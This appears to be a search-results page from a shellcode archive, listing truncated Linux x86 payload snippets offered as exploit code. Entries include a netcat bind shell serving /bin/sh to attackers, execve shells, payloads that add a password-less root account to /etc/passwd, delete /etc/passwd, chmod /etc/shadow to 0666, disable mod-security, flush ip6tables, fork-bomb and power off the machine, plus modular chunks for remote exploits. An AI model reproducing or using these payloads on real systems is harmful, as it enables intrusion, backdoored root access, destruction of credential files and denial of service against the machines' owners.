581 matches found
linux x86 - nc -lvve/bin/sh -p13377 shellcode
linux x86 nc -lvve/bin/sh -p13377 shellcode. Shellcode exploit for linux platform linux x86 nc -lvve/bin/sh -p13377 shellcode This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker Author: Anonymous Site: http://chaossecurity.wordpress.com/ Here is code...
Linux x86 - disabled modsecurity - 64 bytes
No description provided by source. view source print? / [email protected] - Goodfellas Security Research Team - 2010 /usr/sbin/a2dismod mod-security2 - disable modsecurity 64 bytes asm "xor %eax,%eax \n" "push %eax \n" "cdq \n" "push $0x646f6d73 \n" "push $0x69643261 \n" "push $0x2f6e6962...
Linux x86 - disabled modsecurity - 64 bytes
Linux x86 - disabled modsecurity - 64 bytes. Shellcode exploit for linx86 platform / [email protected] - Goodfellas Security Research Team - 2010 /usr/sbin/a2dismod mod-security2 - disable modsecurity 64 bytes asm "xor %eax,%eax \n" "push %eax \n" "cdq \n" "push $0x646f6d73 \n" "push...
Linux x86 - execve /bin/sh - 21 bytes
Linux x86 - execve /bin/sh - 21 bytes. Shellcode exploit for linx86 platform / execve /bin/sh - x86/linux - 21 bytes . zeroed argv / envp [email protected] [email protected] thanks : ivan, milo, oldschool crew / int main char sc = "\x6a\x0b" // push byte +0xb "\x58" //...
Linux x86 - /bin/sh 8 bytes
Linux x86 - /bin/sh 8 bytes. Shellcode exploit for linx86 platform / 08048334 : 8048334: 99 cltd 8048335: 6a 0b push $0xb 8048337: 58 pop %eax 8048338: 60 pusha 8048339: 59 pop %ecx 804833a: cd 80 int $0x80 using this code. step1. This code is compiled. step2. strace -x output binary step3. get...
Linux x86 - polymorphic shellcode ip6tables -F - 71 bytes
Linux x86 - polymorphic shellcode ip6tables -F - 71 bytes. Shellcode exploit for linx86 platform / Linux x86 - polymorphic shellcode ip6tables -F - 71 bytes Jonathan Salwan ! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ ! The Gnuser Project Gnu...
linux/x86 dup2(0 0)
No description provided by source. / dup2loop-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I usually combine this with an execve as the second stage of a read jmp %esp / char hellcode = / dup20,0; dup20,1; dup20,2; linux/x86 ...
linux/x86 _exit(1)
No description provided by source. / exit-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I use it when I need a process to exit cleanly. / char hellcode = / exit1; linux/x86 by core / // 7 bytes exit1 ... 'cause we're nice : by...
linux/x86 if(read(fd buf 512)<=2) _exit(1) else buf()
No description provided by source. / h3ll-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I use it as a first stage payload when I desire to follow up with a real large payload of goodness. This actually is a bit larger than...
linux/x86 read(0 buf 2541)
No description provided by source. / readnchmod-core.c by Charles Stevenson [email protected] Example of strace output if you pass in "/bin/sh\x00" read0, "/bin/sh\0", 2541 = 8 chmod"/bin/sh", 04755 = 0 Any file path can be given. For example: /tmp/.sneakyguy The only caveat is that the string must...
linux/x86 eject /dev/cdrom 42 bytes
linux/x86 eject /dev/cdrom 42 bytes. Shellcode exploit for linx86 platform ; linux/x86 eject /dev/cdrom 42 bytes ; root@thegibson ; 2010-01-08 section .text global start start: ; open"/dev/cdrom", ORDONLY | ONONBLOCK; mov al, 5 cdq push edx push word 0x6d6f push dword 0x7264632f push dword...
linux/x86 append "/etc/passwd" & exit 107 bytes
linux/x86 append "/etc/passwd" & exit 107 bytes. Shellcode exploit for linx86 platform / appendpasswd.c Payload: Adds the string: toor::0:0:t00r:/root:/bin/bash to /etc/passwd thereby adding a password-less root account with login name "toor" Platform: linux/x86 Size: 107 bytes Author: $andman / ...
linux/x86 break chroot 87 bytes
No description provided by source. bt:/ ./pwn perl -e 'print "\x90"x181...
linux/x86 fork bomb 6 bytes
Exploit for linux/x86 platform in category shellcode =========================== linux/x86 fork bomb 6 bytes =========================== Smallest fork bomb shellcode I could make. ; linux/x86 fork bomb 6 bytes ; email protected ; 2009-12-30 section .text global start start: ; fork mov al, 2 int...
linux/x86 unlink(/etc/passwd) & exit() 35 bytes
No description provided by source. Title: linux/x86 unlink/etc/passwd & exit 35 bytes Date: 2009-12-24 Author: sandman, n4mdn4s 4T gmail D0T com Tested on: linux/Fedora 12 Code : / unlinkpasswd.c Platform: linux/x86 Size: 35 bytes Author: $andman / include string.h include stdio.h char shell =...
linux/x86 unlink(/etc/passwd) & exit() 35 bytes
Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 unlink/etc/passwd & exit 35 bytes =============================================== Title: linux/x86 unlink/etc/passwd & exit 35 bytes Date: 2009-12-24 Author: sandman Tested on:...
linux/x86 execve() - 51bytes
Exploit for linux/x86 platform in category shellcode ============================ linux/x86 execve - 51bytes ============================ / linux/x86 execve51bytes 08048080 : 8048080: eb 1a jmp 804809c 08048082 : 8048082: 5e pop %esi 8048083: 31 c0 xor %eax,%eax 8048085: 88 46 07 mov %al,0x7%esi...
linux/x86 setuid(0) & execve("/sbin/poweroff -f") 47 bytes
Exploit for linux/x86 platform in category shellcode ========================================================== linux/x86 setuid0 & execve"/sbin/poweroff -f" 47 bytes ========================================================== include / linux/x86 ; setuid0 & execve"/sbin/poweroff -f" 47 bytes...
linux/x86 chmod(/etc/shadow, 0666) & exit() 33 bytes
Exploit for linux/x86 platform in category shellcode ==================================================== linux/x86 chmod/etc/shadow, 0666 & exit 33 bytes ==================================================== include / linux/x86 ; chmod/etc/shadow, 0666 & exit 33 bytes written by ka0x lun sep 21...
Dialysis hacking techniques of penetration of the firewall to the Shellcode-exploit warning-the black bar safety net
Summary 1. Remote shellcode several ways 2. Reuse the current connection technology of some of the issues and advantages 3. Win32 platform-specific implementation 4. Linux x86 platform specific implementation 5. AIX PowerPC platform-specific implementation Implementation introduction 1...